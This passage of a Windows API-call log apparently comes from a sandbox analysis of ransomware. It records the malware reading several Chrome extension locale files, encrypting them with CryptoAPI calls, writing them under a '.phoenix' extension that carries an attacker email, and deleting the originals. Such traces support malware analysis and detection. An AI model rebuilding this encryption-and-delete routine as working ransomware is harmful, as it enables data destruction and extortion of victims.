	[0261.331] CryptDestroyKey (hKey=0x151080) returned 1
	[0261.332] CloseHandle (hObject=0x250) returned 1
	[0261.332] CloseHandle (hObject=0x258) returned 1
	[0261.332] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\am\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\am\\messages.json")) returned 1
	[0261.333] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0261.333] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bn\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bn\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258
	[0261.333] GetFileSizeEx (in: hFile=0x258, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=331) returned 1
	[0261.333] CloseHandle (hObject=0x258) returned 1
	[0261.334] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bn\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bn\\messages.json")) returned 0x20
	[0261.334] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bn\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bn\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.334] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bn\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bn\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258
	[0261.334] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0261.334] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0261.334] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bn\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bn\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0261.335] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151040) returned 1
	[0261.335] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0261.335] ReadFile (in: hFile=0x258, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x14b, lpOverlapped=0x0) returned 1
	[0261.336] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x150, dwBufLen=0x150 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x150) returned 1
	[0261.336] WriteFile (in: hFile=0x250, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x150, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x150, lpOverlapped=0x0) returned 1
	[0261.337] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151300) returned 1
	[0261.337] CryptSetKeyParam (hKey=0x151300, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0261.337] CryptEncrypt (in: hKey=0x151300, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0261.337] CryptDestroyKey (hKey=0x151300) returned 1
	[0261.337] WriteFile (in: hFile=0x250, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0261.355] CryptDestroyKey (hKey=0x151040) returned 1
	[0261.356] CloseHandle (hObject=0x258) returned 1
	[0261.356] CloseHandle (hObject=0x250) returned 1
	[0261.356] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bn\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\bn\\messages.json")) returned 1
	[0261.356] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0261.357] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ca\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ca\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0261.357] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=207) returned 1
	[0261.357] CloseHandle (hObject=0x250) returned 1
	[0261.357] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ca\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ca\\messages.json")) returned 0x20
	[0261.357] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ca\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ca\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.357] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ca\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ca\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0261.357] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0261.357] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0261.357] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ca\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ca\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258
	[0261.358] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151100) returned 1
	[0261.358] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0261.358] ReadFile (in: hFile=0x250, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xcf, lpOverlapped=0x0) returned 1
	[0261.359] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xd0, dwBufLen=0xd0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xd0) returned 1
	[0261.359] WriteFile (in: hFile=0x258, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xd0, lpOverlapped=0x0) returned 1
	[0261.360] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1515c0) returned 1
	[0261.360] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0261.360] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0261.360] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0261.360] WriteFile (in: hFile=0x258, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0261.360] CryptDestroyKey (hKey=0x151100) returned 1
	[0261.360] CloseHandle (hObject=0x250) returned 1
	[0261.360] CloseHandle (hObject=0x258) returned 1
	[0261.360] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ca\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ca\\messages.json")) returned 1
	[0261.361] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0261.361] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\cs\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\cs\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258
	[0261.362] GetFileSizeEx (in: hFile=0x258, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=173) returned 1
	[0261.362] CloseHandle (hObject=0x258) returned 1
	[0261.362] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\cs\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\cs\\messages.json")) returned 0x20
	[0261.362] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\cs\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\cs\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.362] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\cs\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\cs\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258
	[0261.362] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0261.362] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0261.362] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\cs\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\cs\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0261.363] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151340) returned 1
	[0261.363] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0261.363] ReadFile (in: hFile=0x258, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xad, lpOverlapped=0x0) returned 1
	[0261.364] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xb0, dwBufLen=0xb0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xb0) returned 1
	[0261.364] WriteFile (in: hFile=0x250, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xb0, lpOverlapped=0x0) returned 1
	[0261.365] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151080) returned 1
	[0261.365] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0261.365] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0261.365] CryptDestroyKey (hKey=0x151080) returned 1
	[0261.365] WriteFile (in: hFile=0x250, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0261.365] CryptDestroyKey (hKey=0x151340) returned 1
	[0261.365] CloseHandle (hObject=0x258) returned 1
	[0261.365] CloseHandle (hObject=0x250) returned 1
	[0261.365] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\cs\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\cs\\messages.json")) returned 1
	[0261.366] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0261.367] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\da\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\da\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0261.367] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=172) returned 1
	[0261.367] CloseHandle (hObject=0x250) returned 1
	[0261.367] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\da\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\da\\messages.json")) returned 0x20
	[0261.367] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\da\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\da\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.367] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\da\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\da\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0261.367] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0261.368] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0261.368] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\da\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\da\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258
	[0261.368] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151080) returned 1
	[0261.368] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0261.368] ReadFile (in: hFile=0x250, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xac, lpOverlapped=0x0) returned 1
	[0261.369] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xb0, dwBufLen=0xb0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xb0) returned 1
	[0261.369] WriteFile (in: hFile=0x258, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xb0, lpOverlapped=0x0) returned 1
	[0261.370] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1517c0) returned 1
	[0261.370] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0261.370] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0261.370] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0261.370] WriteFile (in: hFile=0x258, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0261.370] CryptDestroyKey (hKey=0x151080) returned 1
	[0261.370] CloseHandle (hObject=0x250) returned 1
	[0261.370] CloseHandle (hObject=0x258) returned 1
	[0261.371] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\da\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\da\\messages.json")) returned 1
	[0261.372] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0261.372] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\de\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\de\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258
	[0261.372] GetFileSizeEx (in: hFile=0x258, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=193) returned 1
	[0261.372] CloseHandle (hObject=0x258) returned 1
	[0261.372] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\de\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\de\\messages.json")) returned 0x20
	[0261.372] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\de\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\de\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.372] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\de\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\de\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258
	[0261.372] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
